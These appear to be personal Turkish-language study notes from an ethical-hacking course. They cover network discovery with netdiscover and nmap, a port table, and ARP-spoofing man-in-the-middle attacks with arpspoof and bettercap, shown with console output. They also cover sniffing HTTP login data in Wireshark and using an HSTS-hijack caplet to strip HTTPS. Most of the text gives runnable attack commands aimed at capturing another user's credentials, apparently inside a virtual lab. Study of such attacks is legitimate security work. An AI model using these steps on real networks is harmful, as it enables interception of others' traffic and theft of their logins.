



Ağ Bağlantısı Sonrası Yapılacaklar

Netdiscover

| Ip adresi ve MAC adresi eşleştirmesi yapar.

- `netdiscover -i eth0 -r 10.0.2.0/24 -c 10` komutuyla arama başlatılır.
- eth0 veya wlan kullanılabilir.
- -c <istek sayısı> belirtir.

nmap

| netdiscover ile aynı işlevi görür.

Ağ dışı saldırılarda daha çok kullanılır.

- `nmap 10.0.2.0/24` ile çalıştırılır.
- Açık portları,ip,mac adreslerini kısaca daha çok detayı gösterir.

Ports

| İnternette bilgi alınan kapı olup özeldir.

Port #	Protocol	Port #	Protocol
20/21	FTP	123	NTP
22	SSH	137/138/139	NetBios
23	Telnet	143	IMAP
25	SMTP	161/162	SNMP
53	DNS	179	BGP
67/68	DHCP	389	LDAP
69	TFTP	443	HTTPS
80	HTTP	636	LDAPS
110	POP	989/990	FTP w SSL/TLS

ARP

MAC adresi ve IP adresini birleştiren ağ çözümleme paketidir.

- MITM(Man in the middle) saldırısı ARP'dan kaynaklı bir açıkla yapılabilir.



- Burada diğer bilgisayarın isteği ve modemın cevabının bize gönderilmesini sağlayarak saldırıyı yapabiliriz.

arpspoof

- `apt install dsniff` komutuyla eğer kalide yüklü değilse yüklenebilir.
- `arpspoof -i eth0 -t <windows adres> <cihaz adres>` komutuyla çalıştırılır.
- Windows adresi için windows sanal makinasında **ipconfig** komutu çalıştırılıp adres öğrenilebilir.
- Örnek komut: `arpspoof -i eth0 -t 10.0.2.5 10.0.2.1`
- Kendimizi modem olarak tanıtırız ve yeni bir terminal açarız.**Enter'a henüz basılmaz.**
- `arpspoof -i eth0 -t <cihaz adres> <windows adres>` ile sadece iplerin yeri değiştirilerek bu terminale yazılır.
- Bir terminal daha açılır.Burada da `echo 1 > /proc/sys/net/ipv4/ip_forward` komutu yazılır ve bu terminal için **entera** basılır.
- Sonra sırasıyla ilk ve diğer terminallerde entera basılır ve saldırılar başlar.

Saldırı başarılı mı?

- Windows makinesinde `arp -a` komutu çalıştırılır.
 - Eğer terminalde farklı ipde aynı mac adresli 2 bağlantı varsa başarılıdır.
-

Wireshark

| Ağ hareketlerini izlemeye yarar.

Http'ye saldırma ve inceleme

- Diyelimki kaliden windowsa saldırıyoruz.Bunun için örnek bir web sitesine saldırdık.(Bu sırada kalideki terminaller aktif çalışıyor.)
 - Whiresharkda ilgili protokoller kontrol edilir.(http)
 - Bir web sitesi için post'a bakılabilir.
 - İlgili harekete tıklanarak detaylar incelenebilir.
 - Böylelikle karşı taraftaki kullanıcının bilgilerine erişilebilir.
 - Eğer veri https olsaydı şifreli geleceği için alamazdık.
-

Bettercap

| Alternatif çok amaçlı bir programdır.

- `bettercap -iface eth0` komutuyla çalıştırılır.

Modülleri Kullanmak

net.probe&net.recon

| Ağa istekler atar,dürter,listeler.

- `net.probe on` komutuyla dürtmeye başlar.

- `net.show` topladığı bölgeleri listeler.
- `arp.spoof` on ile arp spoof başlatılır.
- `arp.ban` on ile **deauth** saldırısı yapılır.
- `arp.spoof.fullduplex true` komutu ile hem cihaza hem modem kandırılır.
- `arp.spoof.interval true` ile ağ içi bağlantılar kandılır.
- `arp.spoof.targets <hedef ip(10.0..)>` ile hedefler yazılır

```
10.0.2.0/24 > 10.0.2.4 » net.probe on
[08:56:48] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe
10.0.2.0/24 > 10.0.2.4 » [08:56:48] [endpoint.new] endpoint 10.0.2.5 detected as 08:00:27:8e:56:db (PCS Systemtechnik GmbH).
10.0.2.0/24 > 10.0.2.4 » [08:56:48] [endpoint.new] endpoint 10.0.2.3 detected as 08:00:27:25:3f:bd (PCS Systemtechnik GmbH).
10.0.2.0/24 > 10.0.2.4 » [08:56:48] [sys.log] [inf] net.probe probing 256 addresses on 10.0.2.0/24
10.0.2.0/24 > 10.0.2.4 » net.show
```

IP	MAC	Name	Vendor	Sent	Recv	Seen
10.0.2.4	08:00:27:04:42:0f	eth0	PCS Systemtechnik GmbH	0 B	0 B	08:56:46
10.0.2.1	52:54:00:12:35:00	gateway	PCS Systemtechnik GmbH	0 B	0 B	08:56:46
10.0.2.3	08:00:27:25:3f:bd		PCS Systemtechnik GmbH	700 B	920 B	08:58:05
10.0.2.5	08:00:27:8e:56:db	MYPC	PCS Systemtechnik GmbH	2.8 kB	3.4 kB	08:58:05

```
↑ 131 kB / ↓ 352 kB / 7620 pkts
10.0.2.0/24 > 10.0.2.4 » set arp.spoof.fullduplex true
10.0.2.0/24 > 10.0.2.4 » set arp.spoof.interval true
10.0.2.0/24 > 10.0.2.4 » set arp.spoof.targets 10.0.2.5
10.0.2.0/24 > 10.0.2.4 » arp.spoof on
[09:00:30] [sys.log] [inf] arp.spoof enabling forwarding
10.0.2.0/24 > 10.0.2.4 » [09:00:30] [sys.log] [war] arp.spoof arp spoofer started targeting 254 possible network neighbours of 1 target.
10.0.2.0/24 > 10.0.2.4 » [09:00:30] [sys.log] [war] arp.spoof full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.
10.0.2.0/24 > 10.0.2.4 »
```

Örnek saldırı ve komutların kullanımı

- `net.sniff on` komutuyla gelen bilgiler dinlenmeye başlanır.
- Ardından **http** ile çalışan bir siteye girildiğinde veriler izlenmeye başlanır ve bunlar kali terminalinden takip edilebilir.

Caplet-HSTS

Bu yöntemle **https** siteleri hedef alınır.

.com uzantısını .corn gibi değiştirerek kandırmaya çalışır.

- <https://github.com/atilsamancioglu/hstshijackcaplet.git> ile proje clone edilir.
(Kali terminalden `git clone -link`)

- ***usr/share/bettercap/caplets/hstshijack*** içindeki dosyalar ile indirdiğimiz git dosyaları değiştirilir.
 - **Bettercap** çalıştırma işlemleri tekrar yapılır.
-

 **Ömer Faruk Baysal**